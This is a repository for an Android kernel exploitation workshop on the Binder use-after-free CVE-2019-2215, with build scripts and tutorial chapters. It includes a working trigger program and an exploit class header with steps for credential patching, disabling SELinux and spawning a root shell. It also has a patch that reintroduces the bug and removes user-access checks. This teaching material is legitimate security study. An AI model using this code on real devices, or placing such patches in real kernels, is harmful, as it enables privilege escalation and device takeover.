├── android-4.14-dev
└── .gitkeep
├── gitbook
├── images
│ ├── avd-main.png
│ ├── ndk-version.png
│ ├── avd-device-list.png
│ ├── avd-device-definition.png
│ ├── cloudfuzz-logo-white.png
│ ├── epitem-eventpoll-link.png
│ ├── q-x86-64-system-image.png
│ ├── vectored-io-working.png
│ ├── double-link-list-unlink.png
│ ├── android-emulator-running.png
│ ├── avd-system-image-selection.png
│ ├── crash-log-free-stack-trace.png
│ ├── crash-log-use-stack-trace.png
│ ├── double-link-list-two-nodes.png
│ ├── double-link-list-single-node.png
│ ├── eventpoll-binder-thread-link.png
│ ├── android-studio-configure-menu.png
│ ├── android-studio-welcome-screen.png
│ ├── avd-configuration-verification.png
│ ├── crash-log-allocation-stack-trace.png
│ ├── task-struct-leak-exploitation-flow.png
│ └── binder-thread-eventpoll-link-call-graph.png
├── chapters
│ ├── gdb-macros.md
│ ├── resources.md
│ ├── vulnerability-discovery.md
│ ├── environment-setup.md
│ ├── scripted-privilege-escalation.md
│ ├── vulnerability-trigger.md
│ └── linux-privilege-escalation.md
├── README.md
├── book.json
└── SUMMARY.md
├── Dockerfile
├── .gitignore
├── custom-manifest
└── default.xml
├── .github
└── workflows
│ └── main.yml
├── README.md
├── exploit
├── trigger.cpp
├── Makefile
├── CMakeLists.txt
├── exploit.h
├── common.h
└── exploit.cpp
├── patch
└── cve-2019-2215.patch
├── gdb
├── dynamic-analysis.py
└── root-me.py
└── LICENSE
/android-4.14-dev/.gitkeep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/gitbook/images/avd-main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-main.png
--------------------------------------------------------------------------------
/gitbook/images/ndk-version.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/ndk-version.png
--------------------------------------------------------------------------------
/gitbook/images/avd-device-list.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-device-list.png
--------------------------------------------------------------------------------
/gitbook/images/avd-device-definition.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-device-definition.png
--------------------------------------------------------------------------------
/gitbook/images/cloudfuzz-logo-white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/cloudfuzz-logo-white.png
--------------------------------------------------------------------------------
/gitbook/images/epitem-eventpoll-link.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/epitem-eventpoll-link.png
--------------------------------------------------------------------------------
/gitbook/images/q-x86-64-system-image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/q-x86-64-system-image.png
--------------------------------------------------------------------------------
/gitbook/images/vectored-io-working.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/vectored-io-working.png
--------------------------------------------------------------------------------
/gitbook/images/double-link-list-unlink.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-unlink.png
--------------------------------------------------------------------------------
/gitbook/images/android-emulator-running.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-emulator-running.png
--------------------------------------------------------------------------------
/gitbook/images/avd-system-image-selection.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-system-image-selection.png
--------------------------------------------------------------------------------
/gitbook/images/crash-log-free-stack-trace.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-free-stack-trace.png
--------------------------------------------------------------------------------
/gitbook/images/crash-log-use-stack-trace.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-use-stack-trace.png
--------------------------------------------------------------------------------
/gitbook/images/double-link-list-two-nodes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-two-nodes.png
--------------------------------------------------------------------------------
/gitbook/images/double-link-list-single-node.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/double-link-list-single-node.png
--------------------------------------------------------------------------------
/gitbook/images/eventpoll-binder-thread-link.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/eventpoll-binder-thread-link.png
--------------------------------------------------------------------------------
/gitbook/images/android-studio-configure-menu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-studio-configure-menu.png
--------------------------------------------------------------------------------
/gitbook/images/android-studio-welcome-screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/android-studio-welcome-screen.png
--------------------------------------------------------------------------------
/gitbook/images/avd-configuration-verification.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/avd-configuration-verification.png
--------------------------------------------------------------------------------
/gitbook/images/crash-log-allocation-stack-trace.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/crash-log-allocation-stack-trace.png
--------------------------------------------------------------------------------
/gitbook/images/task-struct-leak-exploitation-flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/task-struct-leak-exploitation-flow.png
--------------------------------------------------------------------------------
/gitbook/images/binder-thread-eventpoll-link-call-graph.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cloudfuzz/android-kernel-exploitation/HEAD/gitbook/images/binder-thread-eventpoll-link-call-graph.png
--------------------------------------------------------------------------------
/gitbook/chapters/gdb-macros.md:
--------------------------------------------------------------------------------
1 | # GDB Macros
2 |
3 | These are useful **macros** that you can use during **debugging**.
4 |
5 | ```
6 | macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
7 | ```
8 |
9 | ```
10 | macro define containerof(_ptr, _type, _memb) ((_type *)((void *)(_ptr) - offsetof(_type, _memb)))
11 | ```
12 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:18.04
2 |
3 | # Fetch all essential packages for building the kernel
4 | RUN apt-get update
5 | RUN apt-get install -y git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig wget python3 git make clang gcc bc
6 | RUN curl https://storage.googleapis.com/git-repo-downloads/repo > /bin/repo
7 | RUN chmod +x /bin/repo
8 |
9 | # Get env ready for fetching source code of kernel
10 | RUN git config --global user.email "you@example.com" && \
11 | git config --global user.name "Your Name"
--------------------------------------------------------------------------------
/gitbook/README.md:
--------------------------------------------------------------------------------
1 | # Android Kernel Exploitation
2 |
3 | ## Objective
4 |
5 | The objective of this workshop is to get started with **kernel vulnerability analysis** and **exploitation** in **Android** platform.
6 |
7 |
8 | ## Workshop Stream
9 |
10 |
11 |

12 |
13 |
14 |
15 | ## Author
16 |
17 | **Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**.
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Gitbook Rules
2 |
3 | # Node rules:
4 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
5 | .grunt
6 |
7 | ## Dependency directory
8 | ## Commenting this out is preferred by some people, see
9 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git
10 | node_modules
11 |
12 | # Book build output
13 | _book
14 |
15 | # eBook build output
16 | *.epub
17 | *.mobi
18 | *.pdf
19 |
20 |
21 | # C/C++ rules
22 |
23 | # IntelliJ
24 | .idea
25 |
26 | # CMake
27 | cmake-build-*/
28 |
29 | # compiled binary
30 | cve-2019-2215*
31 |
32 | # Android source directory
33 | android-4.14-dev/*
34 | !android-4.14-dev/.gitkeep
35 |
36 | # Patch folder is not getting included
37 | !patch/*
38 |
--------------------------------------------------------------------------------
/gitbook/book.json:
--------------------------------------------------------------------------------
1 | {
2 | "title": "Android Kernel Exploitation",
3 | "author": "Ashfaq Ansari (@HackSysTeam)",
4 | "plugins": [
5 | "-livereload",
6 | "-highlight",
7 | "collapsible-chapters",
8 | "github",
9 | "sharing",
10 | "ga",
11 | "prism",
12 | "prism-themes"
13 | ],
14 | "pluginsConfig": {
15 | "fontsettings": {
16 | "theme": "night",
17 | "family": "sans"
18 | },
19 | "github": {
20 | "url": "https://github.com/cloudfuzz/android-kernel-exploitation"
21 | },
22 | "ga": {
23 | "token": "UA-163782039-1"
24 | },
25 | "prism": {
26 | "css": [
27 | "prism-themes/themes/prism-atom-dark.css"
28 | ]
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/custom-manifest/default.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.github/workflows/main.yml:
--------------------------------------------------------------------------------
1 | name: Build and Deploy Gitbook
2 | on:
3 | push:
4 | branches:
5 | - master
6 |
7 | jobs:
8 | build-and-deploy:
9 | runs-on: ubuntu-latest
10 | steps:
11 | - name: Setup Node JS 🚢
12 | uses: actions/setup-node@v1
13 | with:
14 | node-version: "10.x"
15 |
16 | - name: Checkout Repository 🛎️
17 | uses: actions/checkout@v2
18 | with:
19 | persist-credentials: false
20 |
21 | - name: Install and Build 🔧
22 | run: |
23 | echo "Installing Gitbook CLI"
24 | sudo npm install gitbook-cli -g
25 | echo "Changing directory to gitbook"
26 | cd gitbook
27 | echo "Installing Gitbook Plugins"
28 | gitbook install
29 | echo "Building Gitbook"
30 | gitbook build . ../build
31 | echo "Removing node_modules directory"
32 | git clean -fx node_modules
33 |
34 | - name: Deploy 🚀
35 | uses: JamesIves/github-pages-deploy-action@3.4.8
36 | with:
37 | ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }}
38 | BRANCH: gh-pages
39 | FOLDER: build
40 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Android Kernel Exploitation
2 |
3 | ## Objective
4 |
5 | The objective of this workshop is to get started with **kernel vulnerability analsysis** and **exploitation** in **Android** platform.
6 |
7 |
8 | ## Usage
9 |
10 | Clone the repository
11 |
12 | ```bash
13 | git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
14 | ```
15 |
16 |
17 | ## Github Pages URL
18 |
19 | https://cloudfuzz.github.io/android-kernel-exploitation/
20 |
21 |
22 | ## Workshop Stream
23 |
24 |
25 |

26 |
27 |
28 |
29 | ## Docker for building kernel
30 | ```bash
31 | # Build the docker image
32 | docker build -t and-build-env .
33 | # Run the docker
34 | docker run -d --rm -it and-build-env
35 | # Get shell in docker image to do further work
36 | ```
37 |
38 | ## Author
39 |
40 | **Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**.
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/exploit/trigger.cpp:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | ## # # ### ### ### # ### ### ### # ###
4 | # # # # # # # ## # # # # ## #
5 | # # # ## ### ### # # # ### ### ### ### # ###
6 | # # # # # # # # # # # # #
7 | ## # ### ### ### ### ### ### ### ### ###
8 | @HackSysTeam
9 |
10 | CVE-2019-2215
11 | Android Binder Use after Free
12 | CloudFuzz TechnoLabs Pvt. Ltd.
13 |
14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
17 |
18 | Thanks:
19 | @maddiestone
20 | @tehjh
21 |
22 | --*/
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 |
29 |
30 | #define BINDER_THREAD_EXIT 0x40046208ul
31 |
32 |
33 | int main() {
34 | int fd, epfd;
35 | struct epoll_event event = {.events = EPOLLIN};
36 |
37 | fd = open("/dev/binder", O_RDONLY);
38 | epfd = epoll_create(1000);
39 | epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
40 | ioctl(fd, BINDER_THREAD_EXIT, NULL);
41 | }
42 |
--------------------------------------------------------------------------------
/exploit/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Makefile for CVE-2019-2215
3 | #
4 | # NDK_ROOT=/home/ashfaq/Android/Sdk/ndk/21.0.6113669 make
5 | #
6 |
7 | CXX := clang++
8 | CXXFLAGS := -static -O3 -Wall -Wextra
9 |
10 | ARCH := x86_64
11 | NDK_API ?= 29
12 | CROSS_COMPILE := $(NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64
13 | TARGET_PLATFORM := $(ARCH)-linux-android
14 |
15 | CXX_PATH := $(CROSS_COMPILE)/bin/$(TARGET_PLATFORM)$(NDK_API)-$(CXX)
16 |
17 | TRIGGER_SRC := trigger.cpp
18 | TRIGGER_OUTPUT := cve-2019-2215-trigger
19 | EXPLOIT_SRC := exploit.cpp
20 | EXPLOIT_OUTPUT := cve-2019-2215-exploit
21 |
22 | # default rule
23 | default: all
24 |
25 | # phony rules
26 | .PHONY: all
27 |
28 | all: clean build-trigger
29 |
30 | build-trigger:
31 | @echo Building: $(TRIGGER_OUTPUT)
32 | @$(CXX_PATH) $(CXXFLAGS) -o $(TRIGGER_OUTPUT) $(TRIGGER_SRC)
33 |
34 | build-exploit:
35 | @echo Building: $(EXPLOIT_OUTPUT)
36 | @$(CXX_PATH) $(CXXFLAGS) -o $(EXPLOIT_OUTPUT) $(EXPLOIT_SRC)
37 |
38 | clean:
39 | @echo Removing: $(TRIGGER_OUTPUT)
40 | @rm -f $(TRIGGER_OUTPUT)
41 | @echo Removing: $(EXPLOIT_OUTPUT)
42 | @rm -f $(EXPLOIT_OUTPUT)
43 |
44 | push-trigger:
45 | @echo Pushing: $(TRIGGER_OUTPUT) to /data/local/tmp
46 | @adb push $(TRIGGER_OUTPUT) /data/local/tmp
47 |
48 | push-exploit:
49 | @echo Pushing: $(EXPLOIT_OUTPUT) to /data/local/tmp
50 | @adb push $(EXPLOIT_OUTPUT) /data/local/tmp
51 |
--------------------------------------------------------------------------------
/gitbook/chapters/resources.md:
--------------------------------------------------------------------------------
1 | # Resources
2 |
3 | ## Linux Lightweight Process
4 | * https://en.wikipedia.org/wiki/Light-weight_process
5 | * https://medium.com/hungys-blog/linux-kernel-process-99629d91423c
6 |
7 |
8 | ## SELinux
9 | * https://source.android.com/security/selinux
10 | * https://www.redhat.com/en/topics/linux/what-is-selinux
11 |
12 |
13 | ## seccomp
14 | * https://lwn.net/Articles/656307/
15 |
16 |
17 | ## Building Kernels
18 | * https://source.android.com/setup/build/building-kernels
19 | * https://android.googlesource.com/kernel/manifest
20 |
21 |
22 | ## Linux Kernel Source Code Cross Referencer
23 | * https://elixir.bootlin.com/linux/v4.14.171/source
24 |
25 |
26 | ## Linux Kernel Source Annotated
27 | * http://www.bricktou.com/
28 |
29 |
30 | ## CVE-2019-2215 - Bug Report
31 | * https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
32 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
33 |
34 |
35 | ## Vectored I/O
36 | * https://en.wikipedia.org/wiki/Vectored_I/O
37 | * https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html
38 | * http://man7.org/linux/man-pages/man2/readv.2.html
39 |
40 | ## Exploitation
41 | * https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf
42 | * https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
43 | * https://www.youtube.com/watch?v=TAwQ4ezgEIo
44 | * https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/
45 | * https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/
46 |
--------------------------------------------------------------------------------
/exploit/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | #
2 | # CMake project for CVE-2019-2215
3 | #
4 |
5 | cmake_minimum_required(VERSION 3.12)
6 |
7 | message(
8 | "
9 | ## # # ### ### ### # ### ### ### # ###
10 | # # # # # # # ## # # # # ## #
11 | # # # ## ### ### # # # ### ### ### ### # ###
12 | # # # # # # # # # # # # #
13 | ## # ### ### ### ### ### ### ### ### ###
14 | @HackSysTeam
15 | "
16 | )
17 |
18 |
19 | set(NDK_ROOT $ENV{HOME}/Android/Sdk/ndk/21.0.6113669)
20 | set(ADB_PATH $ENV{HOME}/Android/Sdk/platform-tools/adb)
21 |
22 |
23 | if (NOT DEFINED NDK_ROOT)
24 | if (DEFINED $ENV{NDK_ROOT})
25 | set(NDK_ROOT "$ENV{NDK_ROOT}")
26 | else ()
27 | message(FATAL_ERROR "Please define NDK_ROOT to point to your NDK path!")
28 | endif ()
29 | endif ()
30 |
31 |
32 | # Set the tool chain file
33 | set(CMAKE_TOOLCHAIN_FILE ${NDK_ROOT}/build/cmake/android.toolchain.cmake)
34 | set(ANDROID_ABI x86_64)
35 | set(ANDROID_PLATFORM latest)
36 |
37 |
38 | project(exploit)
39 |
40 |
41 | add_executable(cve-2019-2215-trigger trigger.cpp)
42 | add_executable(cve-2019-2215-exploit exploit.cpp)
43 |
44 |
45 | add_custom_command(
46 | TARGET cve-2019-2215-trigger
47 | POST_BUILD
48 | COMMAND ${ADB_PATH} push cve-2019-2215-trigger /data/local/tmp > /dev/null
49 | COMMENT "Pushing cve-2019-2215-trigger to device"
50 | VERBATIM
51 | )
52 |
53 | add_custom_command(
54 | TARGET cve-2019-2215-exploit
55 | POST_BUILD
56 | COMMAND ${ADB_PATH} push cve-2019-2215-exploit /data/local/tmp > /dev/null
57 | COMMENT "Pushing cve-2019-2215-exploit to device"
58 | VERBATIM
59 | )
60 |
--------------------------------------------------------------------------------
/patch/cve-2019-2215.patch:
--------------------------------------------------------------------------------
1 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c
2 | index f6ddec245187..55e2748a13e4 100644
3 | --- a/drivers/android/binder.c
4 | +++ b/drivers/android/binder.c
5 | @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,
6 | * waitqueue_active() is safe to use here because we're holding
7 | * the inner lock.
8 | */
9 | + /*
10 | if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
11 | waitqueue_active(&thread->wait)) {
12 | wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
13 | }
14 | + */
15 |
16 | binder_inner_proc_unlock(thread->proc);
17 |
18 | @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,
19 | * descriptor being closed); ep_remove_waitqueue() holds an RCU read
20 | * lock, so we can be sure it's done after calling synchronize_rcu().
21 | */
22 | + /*
23 | if (thread->looper & BINDER_LOOPER_STATE_POLL)
24 | synchronize_rcu();
25 | + */
26 |
27 | if (send_reply)
28 | binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
29 | diff --git a/lib/iov_iter.c b/lib/iov_iter.c
30 | index 7b2fd5f251f2..67af61637f55 100644
31 | --- a/lib/iov_iter.c
32 | +++ b/lib/iov_iter.c
33 | @@ -132,19 +132,21 @@
34 |
35 | static int copyout(void __user *to, const void *from, size_t n)
36 | {
37 | - if (access_ok(VERIFY_WRITE, to, n)) {
38 | + /*if (access_ok(VERIFY_WRITE, to, n)) {
39 | kasan_check_read(from, n);
40 | n = raw_copy_to_user(to, from, n);
41 | - }
42 | + }*/
43 | + n = raw_copy_to_user(to, from, n);
44 | return n;
45 | }
46 |
47 | static int copyin(void *to, const void __user *from, size_t n)
48 | {
49 | - if (access_ok(VERIFY_READ, from, n)) {
50 | + /*if (access_ok(VERIFY_READ, from, n)) {
51 | kasan_check_write(to, n);
52 | n = raw_copy_from_user(to, from, n);
53 | - }
54 | + }*/
55 | + n = raw_copy_from_user(to, from, n);
56 | return n;
57 | }
58 |
59 |
--------------------------------------------------------------------------------
/exploit/exploit.h:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | ## # # ### ### ### # ### ### ### # ###
4 | # # # # # # # ## # # # # ## #
5 | # # # ## ### ### # # # ### ### ### ### # ###
6 | # # # # # # # # # # # # #
7 | ## # ### ### ### ### ### ### ### ### ###
8 | @HackSysTeam
9 |
10 | CVE-2019-2215
11 | Android Binder Use after Free
12 | CloudFuzz TechnoLabs Pvt. Ltd.
13 |
14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
17 |
18 | Thanks:
19 | @maddiestone
20 | @tehjh
21 |
22 | --*/
23 |
24 | #pragma once
25 |
26 | #ifndef __EXPLOIT_H__
27 | #define __EXPLOIT_H__
28 |
29 | #include "common.h"
30 |
31 |
32 | /**
33 | * Defines
34 | */
35 |
36 | #define BINDER_THREAD_EXIT 0x40046208ul
37 | #define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8
38 | #define IOVEC_COUNT (int) (sizeof(struct binder_thread) / sizeof(struct iovec))
39 | #define IOVEC_WQ_INDEX (int) (offsetof(struct binder_thread, wait) / sizeof(struct iovec))
40 |
41 |
42 | /**
43 | * Class definition
44 | */
45 |
46 | class BinderUaF {
47 | private:
48 | int m_epoll_fd = 0;
49 | int m_binder_fd = 0;
50 | void *m_pidAddress = nullptr;
51 | struct cred *m_cred = nullptr;
52 | void *m_credAddress = nullptr;
53 | void *m_nsproxyAddress = nullptr;
54 | int m_kernel_rw_pipe_fd[2] = {0};
55 | void *m_4gb_aligned_page = nullptr;
56 | struct task_struct *m_task_struct = nullptr;
57 | struct epoll_event m_epoll_event = {.events = EPOLLIN};
58 |
59 |
60 | public:
61 | BinderUaF() {
62 | INFO(BANNER);
63 | };
64 |
65 | void bindToCPU();
66 |
67 | void initKernelReadWritePipe();
68 |
69 | void setupBinder();
70 |
71 | void freeBinderThread();
72 |
73 | void setupEventPoll();
74 |
75 | void mmap4gbAlignedPage();
76 |
77 | void linkEventPollWaitQueueToBinderThreadWaitQueue();
78 |
79 | void unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
80 |
81 | void leakTaskStruct();
82 |
83 | void clobberAddrLimit();
84 |
85 | void verifyArbitraryReadWrite();
86 |
87 | void patchCred();
88 |
89 | void verifyRoot();
90 |
91 | void disableSELinuxEnforcing();
92 |
93 | void spawnRootShell();
94 |
95 | void kRead(void *Address, size_t Length, void *uBuffer);
96 |
97 | void kWrite(void *Address, size_t Length, void *uBuffer);
98 |
99 | uint64_t kReadQword(void *Address);
100 |
101 | uint32_t kReadDword(void *Address);
102 |
103 | void kWriteQword(void *Address, uint64_t Value);
104 |
105 | void kWriteDword(void *Address, uint32_t Value);
106 | };
107 |
108 | #endif //__EXPLOIT_H__
109 |
--------------------------------------------------------------------------------
/gitbook/SUMMARY.md:
--------------------------------------------------------------------------------
1 | # Summary
2 |
3 | * [Introduction](README.md)
4 | * [Environment Setup](chapters/environment-setup.md)
5 | * [Hardware Requirements](chapters/environment-setup.md#hardware-requirements)
6 | * [Software Requirements](chapters/environment-setup.md#software-requirements)
7 | * [GDB](chapters/environment-setup.md#gdb)
8 | * [Workshop Repository](chapters/environment-setup.md#workshop-repository)
9 | * [Android Studio](chapters/environment-setup.md#android-studio)
10 | * [Android NDK](chapters/environment-setup.md#android-ndk)
11 | * [Android Virtual Device](chapters/environment-setup.md#android-virtual-device)
12 | * [Android Kernel Source Code](chapters/environment-setup.md#android-kernel-source-code)
13 | * [Linux Privilege Escalation](chapters/linux-privilege-escalation.md)
14 | * [Light Weight Process](chapters/linux-privilege-escalation.md#light-weight-process)
15 | * [Process Credentials](chapters/linux-privilege-escalation.md#process-credentials)
16 | * [SELinux](chapters/linux-privilege-escalation.md#selinux)
17 | * [selinux_enforcing](chapters/linux-privilege-escalation.md#selinux-enforcing)
18 | * [SecComp](chapters/linux-privilege-escalation.md#seccomp)
19 | * [Vulnerability Discovery](chapters/vulnerability-discovery.md)
20 | * [Original Discovery](chapters/vulnerability-discovery.md#original-discovery)
21 | * [Rediscovery](chapters/vulnerability-discovery.md#rediscovery)
22 | * [Patch](chapters/vulnerability-discovery.md#patch)
23 | * [Vulnerability Trigger](chapters/vulnerability-trigger.md)
24 | * [Reintroduction](chapters/vulnerability-trigger.md#reintroduction)
25 | * [Build Kernel With KASan](chapters/vulnerability-trigger.md#build-kernel-with-kasan)
26 | * [Boot Kernel](chapters/vulnerability-trigger.md#boot-kernel)
27 | * [Crash](chapters/vulnerability-trigger.md#crash)
28 | * [KASan Symbolizer](chapters/vulnerability-trigger.md#kasan-symbolizer)
29 | * [Scripted Privilege Escalation](chapters/scripted-privilege-escalation.md)
30 | * [Kernel Debugging](chapters/scripted-privilege-escalation.md#kernel-debugging)
31 | * [Root Cause Analysis](chapters/root-cause-analysis.md)
32 | * [Revisiting Crash](chapters/root-cause-analysis.md#revisiting-crash)
33 | * [Allocation](chapters/root-cause-analysis.md#revisiting-crash-allocation)
34 | * [Free](chapters/root-cause-analysis.md#revisiting-crash-free)
35 | * [Use](chapters/root-cause-analysis.md#revisiting-crash-use)
36 | * [Visual Studio Code](chapters/root-cause-analysis.md#visual-studio-code)
37 | * [Static Analysis](chapters/root-cause-analysis.md#static-analysis)
38 | * [open](chapters/root-cause-analysis.md#syscall-open)
39 | * [epoll_create](chapters/root-cause-analysis.md#syscall-epoll-create)
40 | * [epoll_ctl](chapters/root-cause-analysis.md#syscall-epoll-ctl)
41 | * [ioctl](chapters/root-cause-analysis.md#syscall-ioctl)
42 | * [ep_remove](chapters/root-cause-analysis.md#syscall-ep-remove)
43 | * [Static Analysis Recap](chapters/root-cause-analysis.md#static-analysis-recap)
44 | * [Dynamic Analysis](chapters/root-cause-analysis.md#dynamic-analysis)
45 | * [hw.cpu.ncore](chapters/root-cause-analysis.md#hw-cpu-ncore)
46 | * [Build Kernel Without KASan](chapters/root-cause-analysis.md#build-kernel-without-kasan)
47 | * [Kernel Tracing](chapters/root-cause-analysis.md#kernel-tracing)
48 | * [Exploitation](chapters/exploitation.md)
49 | * [Primitive](chapters/exploitation.md#primitive)
50 | * [Corruption Target](chapters/exploitation.md#corruption-target)
51 | * [Leaking task_struct\*](chapters/exploitation.md#leaking-task-struct-pointer)
52 | * [Clobber addr_limit](chapters/exploitation.md#clobber-addr-limit)
53 | * [Exploit In Action](chapters/exploitation.md#exploit-in-action)
54 | * [GDB Macros](chapters/gdb-macros.md)
55 | * [Resources](chapters/resources.md)
56 |
--------------------------------------------------------------------------------
/gitbook/chapters/vulnerability-discovery.md:
--------------------------------------------------------------------------------
1 | # Vulnerability Discovery
2 |
3 | We are going to look at `CVE-2019-2215` which is a `Use after Free` vulnerability in **Binder IPC** subsystem.
4 |
5 | This is a very **severe** vulnerability because **binder** subsystem is reachable from **Chrome sandbox** and can lead to privilege escalation if chained with a **renderer exploit**.
6 |
7 |
8 | ## Original Discovery {#original-discovery}
9 |
10 | This bug was initially discovered by **syzbot (syzkaller bot)** in the month of **November 2017** without a reproducer. In the month of **December 2017** **syzbot** was able to find a reproducer. You can find the original bug report here https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ
11 |
12 | This bug was patched in **February 2018** without a **CVE** number. Hence, the patch was not **back-ported** to many already released devices like **Pixel** and **Pixel 2**.
13 |
14 |
15 | ## Rediscovery {#rediscovery}
16 |
17 | This bug was rediscovered by **Maddie Stone (@maddiestone)** of **Project Zero** based on an intelligence report from Google's **Threat Analysis Group (TAG)**. She reported this vulnerability on **27th September 2019**. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
18 |
19 | The rediscovery of this bug is very interesting, **Maddie** documented it with the exploitation primitive here https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
20 |
21 | I strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug.
22 |
23 |
24 | ## Patch {#patch}
25 |
26 | This bug got *patched* in `q-goldfish-android-goldfish-4.14-dev` with commit id `7a3cee43e935b9d526ad07f20bf005ba7e74d05b`.
27 |
28 | ```bash
29 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
30 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
31 | ```
32 |
33 | ```diff
34 | commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
35 | Author: Martijn Coenen
36 | Date: Fri Jan 5 11:27:07 2018 +0100
37 |
38 | ANDROID: binder: remove waitqueue when thread exits.
39 |
